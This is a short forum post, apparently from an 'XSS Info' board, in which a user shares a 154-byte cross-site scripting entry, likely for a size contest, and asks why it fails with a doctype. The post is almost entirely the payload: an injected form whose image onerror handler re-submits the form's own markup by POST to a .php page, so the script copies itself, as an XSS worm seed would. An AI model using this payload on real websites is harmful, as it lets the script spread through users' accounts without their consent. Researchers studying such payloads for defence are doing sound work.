My entry (doesn't work with doctype, can someone explain why?):
<form><input id="c" name="content"><img onerror="with(c)with(parentNode)alert('xss',submit(value='<form>'+innerHTML,action=(method='post')+'.php'))" src="
154 bytes, it grows but the first 154 chars stay the same (so it could work with a limit of 154).
Forum:
XSS Info